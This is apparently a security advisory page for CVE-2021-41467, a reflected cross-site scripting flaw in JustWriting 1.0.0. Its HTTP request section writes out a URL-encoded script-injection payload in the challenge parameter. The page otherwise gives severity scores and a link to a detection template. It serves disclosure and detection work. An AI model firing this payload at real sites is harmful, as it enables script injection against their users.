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CVE-2021-41467: JustWriting - Cross-Site Scripting

TitleJustWriting - Cross-Site Scripting
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.0516
CVE IDCVE-2021-41467
CWE IDCWE-79
Tags cve2021 cve justwriting xss justwriting_project vuln

🔍 Vulnerability Description

A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Accept-Encoding: gzip
GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41467.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41467.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A